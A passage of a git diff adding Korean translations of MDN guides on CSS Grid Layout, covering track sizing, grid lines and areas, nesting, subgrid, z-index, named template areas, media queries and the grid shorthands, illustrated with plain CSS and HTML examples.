반복 표기법은 트랙의 목록 중 일부분에만 사용할 수도 있습니다. 아래 예제에서는 처음엔 20픽셀 크기의 트랙을 생성하고 다음에 1fr 크기의 트랙을 6번 반복해서 채운 후 마지막에 20픽셀 트랙을 붙여서 그리드를 완성합니다.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 20px repeat(6, 1fr) 20px;
+}
+
+ +

반복 표기법은 트랙의 목록도 함께 나열해서 지정할 수 있는데, 이렇게 하면 트랙의 반복 패턴을 생성해서 사용하게 됩니다. 다음 예제는 그리드가 10개의 트랙으로 구성되어 있으며, 1fr 크기의 트랙 다음에 2fr 크기 트랙이 위치하고, 이 형태가 5회 반복됩니다.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(5, 1fr 2fr);
+}
+
+ +

잠재적 그리고 명시적 그리드

+ +

지금까지는 그리드 예제를 만들 때마다 {{cssxref("grid-template-columns")}} 프로퍼티를 써서 세로 열의 트랙을 정의해 주었습니다만, 가로 행은 그리드가 콘텐츠에 맞게 알아서 새로운 행을 만들도록 했습니다. 이렇게 만들어진 행은 잠재적 그리드 안에서 생성됩니다. 명시적 그리드는 {{cssxref("grid-template-columns")}} 및 {{cssxref("grid-template-rows")}}로 직접 정의한 행과 열로 이루어진 그리드를 말합니다. 만약에 이렇게 정의된 그리드 밖에 무언가를 배치할 땐, 늘어난 콘텐츠 양 때문에 더 많은 그리드 트랙이 필요하고, 그리드는 잠재적 그리드에 새로운 행과 열을 만들게 됩니다. 이렇게 해서 생긴 트랙은 기본적으로 크기가 자동으로 정해지는데, 트랙 내부의 내용물에 따라 크기가 조정됩니다.

+ +

물론 잠재적 그리드에서 생성된 트랙의 크기는 {{cssxref("grid-auto-rows")}} 및 {{cssxref("grid-auto-columns")}} 프로퍼티를 써서 지정해줄 수도 있습니다.

+ +

아래 예제에서는 잠재적 그리드에서 생성된 트랙의 높이가 반드시 200픽셀이 되도록 grid-auto-rows를 사용하여 하였습니다.

+ +
<div class="wrapper">
+  <div>One</div>
+  <div>Two</div>
+  <div>Three</div>
+  <div>Four</div>
+  <div>Five</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 200px;
+}
+
+ + + +

{{ EmbedLiveSample('잠재적_그리고_명시적_그리드', '230', '420') }}

+ +

트랙 크기 조정과 minmax()

+ +

명시적 그리드를 설정하거나 자동으로 생성된 행이나 열의 크기를 정의할 때, 트랙의 최소 크기를 정해도 나중에 추가되는 콘텐츠에 맞게 늘어나도록 하고 싶을 때가 있을 겁니다. 예를 들면, 가로 행의 높이가 100픽셀 밑으로 줄어드는 것은 막고 싶지만, 콘텐츠가 300픽셀 높이까지 늘어나면 그에 따라 행의 높이도 같이 늘어나길 원할 때가 있습니다.

+ +

이런 경우를 고려해서 그리드는 {{cssxref("minmax", "minmax()")}} 함수를 제공하고 있습니다. 다음 예제에서는 {{cssxref("grid-auto-rows")}} 값에 minmax() 를 사용하였습니다. 자동으로 생성된 행의 높이는 최소 100픽셀이고 최댓값은 auto입니다. auto를 지정하면 크기는 콘텐츠의 크기를 살피게 되는데, 가로 행에 있는 가장 높은 셀의 크기만큼 자동으로 늘어나서 부족한 공간을 메꿔줍니다.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+}
+
+ + + +
<div class="wrapper">
+  <div>One</div>
+  <div>Two
+    <p>I have some more content in.</p>
+    <p>This makes me taller than 100 pixels.</p>
+  </div>
+  <div>Three</div>
+  <div>Four</div>
+  <div>Five</div>
+</div>
+
+ +

{{ EmbedLiveSample('트랙_크기_조정과_minmax()', '240', '470') }}

+ +

그리드 라인

+ +

그리드를 정의할 때 라인이 아닌 그리드 트랙을 정의한다는 점을 명심해야 합니다. 그러면 그리드는 아이템을 배치할 때 쓸 수 있게 번호가 매겨진 라인을 자동으로 제공합니다. 아래 그림처럼, 그리드가 세 개의 세로 열(Column)과 두 개의 가로 행(Row)으로 이루어져 있다면, 네 개의 Grid Line이 Column으로 자리 잡게 됩니다.

+ +

번호가 매겨진 그리드 라인을 보여주는 다이어그램.

+ +

라인은 문서의 작성 모드에 따라 번호가 매겨집니다. 왼쪽에서 오른쪽으로 쓰는 언어에서는 라인 1이 그리드의 왼쪽에 있습니다. 반대로 오른쪽에서 왼쪽으로 쓰는 언어에서는 그리드의 오른쪽에 있게 됩니다. 또한, 라인에 이름도 지정할 수 있으며, 자세한 방법은 이 시리즈의 후반부에서 살펴보겠습니다.

+ +

라인을 이용한 아이템 배치

+ +

라인에 기반을 둔 배치 방법에 대해서는 다음에 더 자세히 탐구해 볼 예정입니다. 이번 예제에서는 아주 간단한 방법을 알아보겠습니다. 아이템을 배치할 때 트랙이 아닌 라인의 관점에서 정의해 보겠습니다.

+ +

아래 예제에선 처음 두 개의 아이템을 세 개의 열 방향 트랙으로 구성된 그리드 위에 {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row-start")}} 그리고 {{cssxref("grid-row-end")}} 프로퍼티를 써서 배치합니다. 왼쪽에서 오른쪽으로 작업하면서, 첫 번째 아이템은 세로 열 방향의 1번 라인에 배치되고 세로 열 방향 4번 라인까지 확장됩니다. 이 경우에는 그리드의 맨 오른쪽 라인까지 해당합니다. 그리고 가로 방향의 라인을 기준으로 1번 라인부터 시작해서 행 3번 라인까지 차지하면서 결국, 두 개의 가로 행 트랙을 가로질러 걸치게 됩니다.

+ +

두 번째 아이템은 그리드 세로 열의 1번 라인에서 시작해서 트랙 하나에 걸쳐 있습니다. 여기엔 기본값을 사용해서 마지막 라인은 지정할 필요가 없습니다. 가로 행 방향 라인을 기준으로 3번의 라인부터 5번 라인까지 두 개의 가로 행 트랙에 걸쳐 있습니다. 나머지 아이템은 그리드 빈 자라에 자동으로 배치됩니다.

+ +
<div class="wrapper">
+  <div class="box1">One</div>
+  <div class="box2">Two</div>
+  <div class="box3">Three</div>
+  <div class="box4">Four</div>
+  <div class="box5">Five</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 3;
+  grid-row-end: 5;
+}
+
+ + + +

{{ EmbedLiveSample('라인을_이용한_아이템_배치', '230', '420') }}

+ +

파이어폭스 개발자 도구에 있는 Grid Inspector를 사용하면 아이템이 그리드 라인에 어떻게 배치되어 있는지 이해하기 훨씬 쉽다는 점도 잊지 마십시오.

+ +

그리드 셀

+ +

그리드 셀은 그리드에 있는 가장 작은 구성원입니다. 개념상 테이블에 있는 셀과 비슷합니다. 앞의 예제에서 보셨듯이, 부모 요소에 그리드를 정의하면 자식 아이템은 지정된 그리드 셀에 각자 하나씩 나열되어 배치됩니다. 아래 그림에서는 그리드의 첫 번째 셀을 강조 표시했습니다.

+ +

강조 표시된 그리드의 첫 번째 셀

+ +

그리드 영역

+ +

아이템은 행 또는 열 방향 어느 쪽으로든 하나 이상의 셀에 걸쳐있을 수 있으며 이렇게 해서 그리드 영역을 만듭니다. 그리드 영역은 직사각형이어야 하며, 예를 들어 L 자 형태의 영역을 생성할 수 없습니다. 아래 강조 표시된 그리드 영역은 2개의 행과 2개의 열 트랙에 걸쳐 있습니다.

+ +

그리드 영역의 예

+ +

경계 여백

+ +

그리드 셀 사이의 경계 여백 혹은 간격은 {{cssxref("grid-column-gap")}} 및 {{cssxref("grid-row-gap")}} 프로퍼티를 지정해서 생성할 수 있으며, 짧게 {{cssxref("grid-gap")}}으로 지정할 수도 있습니다. 아래의 예제에서는 세로 열 사이의 간격은 10픽셀이고 가로 행 사이의 간격은 1em입니다.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-column-gap: 10px;
+  grid-row-gap: 1em;
+}
+
+ +
<div class="wrapper">
+  <div>One</div>
+  <div>Two</div>
+  <div>Three</div>
+  <div>Four</div>
+  <div>Five</div>
+</div>
+
+ + + +

{{ EmbedLiveSample('경계_여백') }}

+ +

간격이 차지하는 공간은 길이가 유연한 fr 단위로 지정한 트랙에 할당하기 전에 우선 고려되어 배분됩니다. 그래서 일반 그리드 트랙처럼 간격은 크기 조정의 목적으로 활용될 수 있으나, 이 공간에는 아무것도 배치할 수 없습니다. 라인 기반 위치 지정 측면에선 간격은 그저 굵은 선처럼 작용합니다.

+ +

중첩 그리드

+ +

그리드 아이템은 자기 자신이 그리드 컨테이너가 될 수도 있습니다. 다음 예제는 이전에 생성했던 3개의 세로 열로 구성된 그리드가 있으며, 여기에 따로 위치가 지정된 두 개의 아이템을 배치해 놓은 모습입니다. 이번 경우엔 첫 번째 아이템이 몇 개의 하위 아이템을 포함하고 있습니다. 이 아이템들은 그리드 바로 밑에 있는 요소가 아니므로 그리드 레이아웃에 관여하지 않고 정상적인 문서 흐름에 따라 표시됩니다.

+ +
+
<div class="wrapper">
+  <div class="box box1">
+    <div class="nested">a</div>
+    <div class="nested">b</div>
+    <div class="nested">c</div>
+  </div>
+  <div class="box box2">Two</div>
+  <div class="box box3">Three</div>
+  <div class="box box4">Four</div>
+  <div class="box box5">Five</div>
+</div>
+
+ +

문서 흐름에 따라 표시된 중첩 그리드

+ +

만약에 box1에 display: grid를 설정하면, 여기에 트랙을 정의할 수 있게 되면서 또 하나의 그리드를 생성하게 됩니다. 이렇게 해서 그 밑의 아이템들은 새 그리드 정의에 따라 배치됩니다.

+ +
.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+}
+
+ + +
+ +

{{ EmbedLiveSample('중첩_그리드', '600', '340') }}

+ +

이 경우 중첩된 그리드는 상위 부모 요소의 그리드와 아무런 관계가 없습니다. 예제에서 볼 수 있듯이 부모 요소의 {{cssxref("grid-gap")}}을 그대로 물려받지 않았고, 중첩된 그리드의 라인은 부모 요소의 그리드 라인과도 일렬로 정렬되지 않은 것을 확인하실 수 있습니다.

+ +

서브 그리드

+ +

레벨 1 그리드 표준에는 서브 그리드(subgrid)라는 기능이 있어서 부모 요소에 있는 그리드 트랙의 정의를 중첩된 그리드에도 적용해서 생성할 수 있도록 하였습니다.

+ +
+

서브 그리드는 아직 모든 브라우저에서 구현되지 않았고 나중에 표준이 변경될 수도 있습니다.

+
+ +

최근 작성된 표준에 따르면, 위 중첩 그리드 예시에 썼던 display: grid 대신 display: subgrid를 써주고 트랙의 정의는 제거합니다. 이렇게 하면 중첩된 그리드는 부모 요소의 그리드 트랙을 그대로 참고해서 아이템을 배치하게 됩니다.

+ +

중첩된 그리드는 행과 열 모두에 걸쳐 있음을 유의해야 합니다. 서브 그리드를 작업할 때는 잠재적 그리드의 개념을 적용할 수 없습니다. 즉, 부모 요소의 그리드에 모든 하위 아이템들을 담을 만큼의 충분한 행과 열의 트랙이 있는지 꼭 확인해야 합니다.

+ +
.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  display: subgrid;
+}
+
+ +

z-index를 이용한 아이템 중첩도 조정

+ +

그리드 아이템은 서로 같은 셀을 차지할 수 있습니다. 앞서 라인 번호로 아이템의 위치를 지정했던 예제로 돌아가서, 여기에 다음과 같이 두 아이템이 서로 자리가 겹치도록 수정합니다.

+ +
+
<div class="wrapper">
+  <div class="box box1">One</div>
+  <div class="box box2">Two</div>
+  <div class="box box3">Three</div>
+  <div class="box box4">Four</div>
+  <div class="box box5">Five</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 2;
+  grid-row-end: 4;
+}
+
+ + +
+ +

{{ EmbedLiveSample('l_ex', '230', '420') }}

+ +

box2 아이템은 이제 box1과 겹치게 되고, 소스 순서에서 나중에 위치하므로 맨 위에 표시됩니다.

+ +

중첩의 순서 조정

+ +

위치를 따로 지정한 아이템과 마찬가지로, 아이템이 위아래로 중첩되는 순서는 z-index 프로퍼티를 써서 제어할 수 있습니다. 만약에 box2box1 보다 더 낮은 z-index를 지정하면 box1 아래로 중첩되어 표시됩니다.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  z-index: 2;
+}
+
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 2;
+  grid-row-end: 4;
+  z-index: 1;
+}
+
+ + + +

{{ EmbedLiveSample('중첩의_순서_조정', '230', '420') }}

+ +

다음 단계

+ +

이 글에서는 Grid 레이아웃 표준 문서에 나와 있는 내용을 아주 간단히 살펴보았습니다. 코드 예제를 좀 더 연구해 보시고, 안내서의 다음 부분으로 넘어가서 CSS 그리드 레이아웃의 세부 사항을 조금 더 심도 있게 살펴보시기 바랍니다.

+ + diff --git a/files/ko/web/css/css_grid_layout/grid_template_areas/index.html b/files/ko/web/css/css_grid_layout/grid_template_areas/index.html new file mode 100644 index 0000000000..10bfeb4262 --- /dev/null +++ b/files/ko/web/css/css_grid_layout/grid_template_areas/index.html @@ -0,0 +1,533 @@ +--- +title: Grid template areas +slug: Web/CSS/CSS_Grid_Layout/Grid_template_areas +tags: + - CSS + - CSS Grids + - Guide +translation_of: Web/CSS/CSS_Grid_Layout/Grid_Template_Areas +--- +

이전 가이드에서 우리는 그리드 라인에 대해서 살펴보았으며, 이 라인을 기준으로 어떻게 아이템들을 배치하는지 알아보았습니다. CSS 그리드 레이아웃으로 작업할 땐 거기엔 항상 라인이 있을 것이고, 이것은 아이템들을 그리드에 배치할 때 사용할 수 있는 아주 직관적인 방법이 될 수 있습니다. 그렇지만, 아이템을 그리드에 배치할 때 사용할 수 있는 또 다른 방법이 있는데, 이것은 독자적으로 혹은 라인 기준 배치 방법과 함께 혼용해서 사용할 수 있습니다. 이 방법은 이름이 지명된 템플릿 영역을 사용하여 아이템을 배치하는 작업과 연관돼 있으며, 이 방법이 정확히 어떻게 작동하는지 알아보겠습니다. 이것이 때때로 왜 그리드 레이아웃의 ascii-art 방식이라고 일컬어지는지 쉽게 눈치채실 수 있을 겁니다!

+ +

그리드 영역의 이름 짓기

+ +

여러분은 이미 {{cssxref("grid-area")}} 프로퍼티와 마주친 적이 있을 겁니다. 이 프로퍼티는 그리드 영역의 위치를 잡는데 사용되는 모두 네 개의 라인 값을 취합니다.

+ +
.box1 {
+   grid-area: 1 / 1 / 4 / 2;
+}
+
+ +

이렇게 모두 네 개의 라인을 정의하는 작업은, 영역을 둘러싸는 라인을 지정해서 해당 영역이 차지하게 될 자리를 정의해 주는 것이라 할 수 있습니다.

+ +

라인으로 정의된 그리드 영역

+ +

이와 더불어서, 각 영역에 이름을 붙여서 정의할 수도 있으며, 각 영역의 위치는 {{cssxref("grid-template-areas")}} 프로퍼티의 값을 지정해서 정의할 수 있습니다. 영역의 이름은 원하시는 것 아무거나 선택해서 사용하실 수 있습니다. 예를 들어, 아래에 보이는 레이아웃을 만들고자 할 때, 다음과 같이 네 개의 주요 영역으로 구분할 수 있습니다.

+ +
    +
  • a header
  • +
  • a footer
  • +
  • a sidebar
  • +
  • the main content
  • +
+ +

단순하게 헤더와 푸터가 있는 두 개의 열로 구성된 레이아웃을 보여주는 그림

+ +

여기서 각 영역의 이름은 {{cssxref("grid-area")}} 프로퍼티로 지정할 수 있습니다. 이것은 아직 아무런 레이아웃도 생성하지 않지만, 이렇게 해서 레이아웃에 사용될 영역의 이름을 갖게 됩니다.

+ +
+
.header {
+    grid-area: hd;
+}
+.footer {
+    grid-area: ft;
+}
+.content {
+    grid-area: main;
+}
+.sidebar {
+    grid-area: sd;
+}
+
+ +

이제 영역의 이름들을 정의하였으니 다음엔 원하는 레이아웃을 생성할 차례입니다. 이번엔, 아이템에 직접 지정된 라인 번호를 써서 아이템을 배치하는 대신에, 전체 레이아웃을 그리드 컨테이너에서 정의해 줍니다.

+ +
.wrapper {
+    display: grid;
+    grid-template-columns: repeat(9, 1fr);
+    grid-auto-rows: minmax(100px, auto);
+    grid-template-areas:
+      "hd hd hd hd   hd   hd   hd   hd   hd"
+      "sd sd sd main main main main main main"
+      "ft ft ft ft   ft   ft   ft   ft   ft";
+}
+
+ + + +

 

+ +
<div class="wrapper">
+    <div class="header">Header</div>
+    <div class="sidebar">Sidebar</div>
+    <div class="content">Content</div>
+    <div class="footer">Footer</div>
+</div>
+ +

{{ EmbedLiveSample('Grid_Area_1', '300', '330') }}

+
+ +

이 방법을 쓰면 각각의 그리드 아이템들에 아무것도 지정해 줄 필요가 없으며, 그리드 컨테이너에서 모든 작업이 이루어집니다. 보셨다시피, 레이아웃은 {{cssxref("grid-template-areas")}} 프로퍼티의 값으로 기술됩니다.

+ +

그리드 셀 비워두기

+ +

먼젓번 예제에서는, 그리드의 모든 곳이 빈 곳 없이 영역들로 채워져 있습니다. 하지만, 다음에 소개될 레이아웃 방법을 써서 특정 그리드 셀이 공간으로 채워지도록 만들 수도 있습니다. 셀을 공간으로 남겨두려면 마침표 글자(.)를 사용하시면 됩니다. 예제 중 footer 부분을 main으로 표시된 콘텐츠 바로 아래에만 표시되도록 하려면, sidebar 밑에 있는 세 개의 셀을 비워두면 됩니다.

+ +
.header {
+    grid-area: hd;
+}
+.footer {
+    grid-area: ft;
+}
+.content {
+    grid-area: main;
+}
+.sidebar {
+    grid-area: sd;
+}
+
+ + + +
.wrapper {
+    display: grid;
+    grid-template-columns: repeat(9, 1fr);
+    grid-auto-rows: minmax(100px, auto);
+    grid-template-areas:
+      "hd hd hd hd   hd   hd   hd   hd   hd"
+      "sd sd sd main main main main main main"
+      ".  .  .  ft   ft   ft   ft   ft   ft";
+}
+
+ +
<div class="wrapper">
+    <div class="header">Header</div>
+    <div class="sidebar">Sidebar</div>
+    <div class="content">Content</div>
+    <div class="footer">Footer</div>
+</div>
+ +

{{ EmbedLiveSample('그리드_셀_비워두기', '300', '330') }}

+ +

위 예제에서 레이아웃 정의 부분을 더 깔끔하게 보이도록 하려면 여러 개의 . 글자를 사용할 수도 있습니다. 여기서 마침표 사이가 하얀 공간으로 서로 띄워져 있지 않은 한 오직 하나의 셀로 계산됩니다. 아주 복잡한 레이아웃의 경우, 행과 열이 깔끔하게 정렬돼 있다면 훨씬 이해하기 쉬운 장점이 있을 겁니다. 이렇게 하면, CSS를 작업하면서 실제 레이아웃이 어떤 모습으로 보일지 쉽게 눈으로 확인하실 수도 있다는 뜻입니다.

+ +

다중 셀에 걸쳐 확장하기

+ +

앞선 예제에선 영역들이 다중 셀에 걸쳐서 확장되었는데, 이것은 그리드 영역의 이름을 빈 여백을 사이에 두고 여러 번 반복해서 이루었습니다. 여기서 grid-template-areas 값으로 지정한 부분은 깔끔하게 위아래로 줄이 맞아 떨어지도록 여분의 공백을 추가할 수도 있습니다. 위 예제에선, main 부분과 정렬되도록 hdft 영역 이름에 공백이 추가된 것을 확인하실 수 있습니다.

+ +

영역 이름을 연달아 늘어놓아서 만들어진 영역은 직사각형이어야 하며, 이 시점에서 L 모양의 영역을 만들 수는 없습니다. 표준 명세서에선 아마도 다음번 레벨에서 이 기능이 추가될 수도 있음을 명시하고 있습니다. 그렇지만, 영역을 열 방향과 마찬가지로 행 방향으로도 쉽게 확장할 수 있습니다. 예를 들어, 사이드바 영역에 있는 비어있는 셀을 뜻하는 . 대신에 그 자리를 sd로 대치해서 footer 밑부분까지 확장하도록 정의해 줄 수 있습니다.

+ +
.header {
+    grid-area: hd;
+}
+.footer {
+    grid-area: ft;
+}
+.content {
+    grid-area: main;
+}
+.sidebar {
+    grid-area: sd;
+}
+
+ + + +
.wrapper {
+    display: grid;
+    grid-template-columns: repeat(9, 1fr);
+    grid-auto-rows: minmax(100px, auto);
+    grid-template-areas:
+      "hd hd hd hd   hd   hd   hd   hd   hd"
+      "sd sd sd main main main main main main"
+      "sd sd sd  ft  ft   ft   ft   ft   ft";
+}
+
+ + + +

{{ EmbedLiveSample('다중_셀에_걸쳐_확장하기', '300', '330') }}

+ +

{{cssxref("grid-template-areas")}} 값은 그리드 전체를 나타내야 하며, 그렇지 않으면 틀린 것으로 간주하여 결국 프로퍼티는 무시됩니다. 이 얘기는 각 줄의 셀 숫자가 모두 같아야 한다는 뜻이며, 비어있는 경우는 마침표 문자를 써서 셀이 비어있음을 표시해 주어야 합니다. 또한, 영역이 직사각형이 아니라면 유효하지 않은 그리드를 생성하게 됩니다.

+ +

미디어 큐어리(media queries)를 이용한 그리드 재정의

+ +

이제는 레이아웃이 CSS의 한 부분으로 들어오면서, 서로 다른 브레이크포인트에 대응해서 변하게 만드는 것이 훨씬 쉬워졌습니다. 이 작업은 그리드를 재정의하거나, 그리드에 있는 아이템의 위치를 바꿔줄 수도 있으며, 혹은 한꺼번에 두 가지 모두를 진행할 수도 있습니다.

+ +

이 작업을 할 때 주의할 점은, 미디어 큐어리 밖에서 영역의 이름을 정의해야 한다는 것입니다. 이렇게 해야 가령 콘텐츠 영역의 경우, 그리드 위 어느 곳에 배치되든 상관없이 항상 해당 영역을 main으로 지칭할 수 있게 됩니다.

+ +

위 예제에 있는 레이아웃을 가지고, 만약 너비가 좁을 때는 아주 단순한 레이아웃을 형성하도록 단일 열 형태의 그리드를 정의해서 아이템들이 서로 중첩되도록 하였습니다.

+ + + +
.header {
+    grid-area: hd;
+}
+.footer {
+    grid-area: ft;
+}
+.content {
+    grid-area: main;
+}
+.sidebar {
+    grid-area: sd;
+}
+
+.wrapper {
+    display: grid;
+    grid-auto-rows: minmax(100px, auto);
+    grid-template-columns: 1fr;
+    grid-template-areas:
+      "hd"
+      "main"
+      "sd"
+      "ft";
+}
+
+ +

그러고 나서, 미디어 큐어리 안에서 남아있는 공간이 넓다면 두 개의 열로 된 레이아웃을 구성하도록 다시 정의해 주었으며, 공간이 더 넓으면 세 개의 열로 된 형태의 레이아웃 띠도록 하였습니다. 넓은 형태의 레이아웃의 경우, 아홉 개의 열 트랙 그리드는 그대로 놔두었으며, grid-template-areas를 써서 아이템들이 어디에 배치될지를 다시 정의해 준 점을 주목해 주십시오.

+ +
@media (min-width: 500px) {
+    .wrapper {
+        grid-template-columns: repeat(9, 1fr);
+        grid-template-areas:
+          "hd hd hd hd   hd   hd   hd   hd   hd"
+          "sd sd sd main main main main main main"
+          "sd sd sd  ft  ft   ft   ft   ft   ft";
+    }
+}
+@media (min-width: 700px) {
+    .wrapper {
+        grid-template-areas:
+          "hd hd hd   hd   hd   hd   hd   hd hd"
+          "sd sd main main main main main ft ft";
+    }
+}
+
+ + + +

{{ EmbedLiveSample('미디어_큐어리(media_queries)를_이용한_그리드_재정의', '550', '330') }}

+ +

UI 요소를 위한 grid-tempate-areas 사용

+ +

온라인에서 찾을 수 있는 많은 그리드 예제들을 보면 주로 주요 페이지 레이아웃에만 그리드를 사용한다고 느끼실 수 있습니다만, 그리드는 큰 요소만큼이나 작은 요소에서도 유용하게 사용될 수 있습니다. 특히나 {{cssxref("grid-template-areas")}}를 쓰면 요소가 어떻게 보일지 코드를 보면 쉽게 이해할 수 있어서 아주 유용합니다.

+ +

아주 간단한 예로 “미디어 오브젝트”를 만들어 보겠습니다. 이 컴포넌트의 한쪽은 그림이나 다른 미디어를 위한 공간이 차지하고 다른 쪽은 주 내용이 위치하게 됩니다. 그림은 박스의 오른쪽 혹은 왼쪽에 표시될 수 있습니다.

+ +

미디어 오브젝트 디자인의 한 예를 보여주는 그림

+ +

여기서 그리드는 두 개의 열 트랙으로 구성되어 있으며, 그림이 들어가는 공간의 열 트랙의 크기는 1fr이며 글자 내용이 들어가는 공간의 크기는 3fr입니다. 만약에 고정된 너비의 그림 영역을 원하시면, 그림이 들어가는 열의 너비는 픽셀값으로 설정하고, 글자 영역에는 1fr을 지정하실 수 있습니다. 그러면 1fr 크기의 단일 열 트랙이 남은 공간을 모두 차지하게 됩니다.

+ +

그림이 위치하는 영역의 그리드 이름으로 img를 지정하고 글자 영역은 content라 부르기로 하고, grid-template-areas 프로퍼티를 써서 다음과 같이 배치하게 됩니다.

+ +
+
* {box-sizing: border-box;}
+
+.media {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+    max-width: 400px;
+}
+.media {
+    display: grid;
+    grid-template-columns: 1fr 3fr;
+    grid-template-areas: "img content";
+    margin-bottom: 1em;
+}
+
+.media .image {
+    grid-area: img;
+    background-color: #ffd8a8;
+}
+
+.media .text {
+    grid-area: content;
+    padding: 10px;
+
+}
+
+ +
<div class="media">
+    <div class="image"></div>
+    <div class="text">This is a media object example.
+      We can use grid-template-areas to switch around the image and text part of the media object.
+    </div>
+</div>
+ +

{{ EmbedLiveSample('Media_1', '300', '200') }}

+
+ +

박스의 반대편에 그림 표시하기

+ +

반대로 그림이 박스의 맞은편에 표시되기를 원하실 때도 있을 겁니다. 이렇게 하려면, 1fr 크기의 트랙을 마지막에 위치하도록 하고, 단순하게 {{cssxref("grid-template-areas")}}의 값을 뒤집어서 그리드를 다시 정의해주면 됩니다.

+ +
+
* {box-sizing: border-box;}
+
+.media {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+    max-width: 400px;
+}
+.media {
+    display: grid;
+    grid-template-columns: 1fr 3fr;
+    grid-template-areas: "img content";
+    margin-bottom: 1em;
+}
+
+.media.flipped {
+    grid-template-columns: 3fr 1fr;
+    grid-template-areas: "content img";
+}
+
+.media .image {
+    grid-area: img;
+    background-color: #ffd8a8;
+}
+
+.media .text {
+    grid-area: content;
+    padding: 10px;
+
+}
+
+ +
<div class="media flipped">
+    <div class="image"></div>
+    <div class="text">This is a media object example.
+      We can use grid-template-areas to switch around the image and text part of the media object.
+    </div>
+</div>
+ +

{{ EmbedLiveSample('Media_2', '300', '200') }}

+
+ +

그리드 정의 단축용법

+ +

지금까지 그리드 위에 아이템을 배치하는 여러 가지 방법과 또 그리드를 정의하는 다양한 프로퍼티들을 살펴보았습니다. 이번에는 그리드를 정의하는 데 사용할 수 있는 몇 가지 단축용법을 살펴보고 또 이 모든 것을 CSS 한 줄로 정의하는 법을 알아볼 차례입니다.

+ +

이것은 분명 다른 개발자나 심지어 미래의 나 자신도 금방 이해하기 어려울 수도 있습니다. 하지만, 표준 명세서에 기술된 용법 중 하나로서, 개별적으로 사용하진 않더라도, 공개된 예제나 다른 개발자가 사용하는 것을 목격할 수 있을 겁니다.

+ +

단축용법을 쓰기 전에 꼭 명심해야 할 것은 단축용법은 단번에 많은 프로퍼티의 설정이 가능할 뿐만 아니라, 정의하지 않은, 혹은 정의할 수 없는 것들도 그들의 초깃값으로 재설정되도록 작용한다는 점입니다. 그러므로 단축용법을 사용할 땐 다른 곳에서 적용했던 것들이 재설정될 수도 있다는 점을 주의하십시오.

+ +

그리드 컨테이너에서 사용할 수 있는 단축용법에는 두 가지가 있는데, 하나는 명시적 그리드 단축용법으로 grid-template이 있고, 나머지는 그리드 정의 단축용법으로 grid가 있습니다.

+ +

grid-template

+ +

{{cssxref("grid-template")}} 프로퍼티는 다음과 같은 프로퍼티들을 설정합니다:

+ +
    +
  • {{cssxref("grid-template-rows")}}
  • +
  • {{cssxref("grid-template-columns")}}
  • +
  • {{cssxref("grid-template-areas")}}
  • +
+ +

이 프로퍼티는, 잠재적으로 생성되는 열과 행 트랙에 영향을 끼치는 것이 아닌, 명시적 그리드를 정의할 때 조정할 수 있는 것들을 설정하는 것이어서 명시적 그리드 단축용법이라 불립니다.

+ +

다음에 있는 코드는 {{cssxref("grid-template")}}를 써서 이 가이드 앞부분에서 만들었던 레이아웃과 똑같은 레이아웃을 만들었습니다.

+ +
.wrapper {
+    display: grid;
+    grid-template:
+      "hd hd hd hd   hd   hd   hd   hd   hd" minmax(100px, auto)
+      "sd sd sd main main main main main main" minmax(100px, auto)
+      "ft ft ft ft   ft   ft   ft   ft   ft" minmax(100px, auto)
+             / 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr ;
+}
+
+ +

첫 번째 값은 grid-template-areas 값에 해당합니다. 하지만 각 행의 마지막에 해당 행의 크기도 함께 선언해 주었습니다. 여기에 있는 minmax(100px, auto)가 이 역할을 합니다.

+ +

그리고 grid-template-areas 뒤에 옆으로 누운 슬래시(/)가 있고, 바로 그 뒤에 세로 행 트랙들을 위한 명시적 트랙 목록이 정의되어 있습니다.

+ +

grid

+ +

{{cssxref("grid")}} 단축용법은 한 발 더 나가 잠재적 그리드를 정의하는 데 사용되는 프로퍼티들도 같이 설정합니다. 그래서 여기서 설정하는 프로퍼티들은 다음과 같습니다:

+ +
    +
  • {{cssxref("grid-template-rows")}}
  • +
  • {{cssxref("grid-template-columns")}}
  • +
  • {{cssxref("grid-template-areas")}}
  • +
  • {{cssxref("grid-auto-rows")}}
  • +
  • {{cssxref("grid-auto-columns")}}
  • +
  • {{cssxref("grid-auto-flow")}}
  • +
+ +

이 프로퍼티는 또 {{cssxref("grid-gap")}} 프로퍼티를 0으로 재설정합니다만, 이 단축용법에서는 이 간격을 지정해줄 수는 없습니다.

+ +

이 용법은 {{cssxref("grid-template")}} 단축용법과 똑같은 방법으로 사용할 수 있습니다만, 이렇게 하면 설정했던 다른 프로퍼티 값들을 재설정하게 된다는 점을 주의하셔야 합니다.

+ +
.wrapper {
+    display: grid;
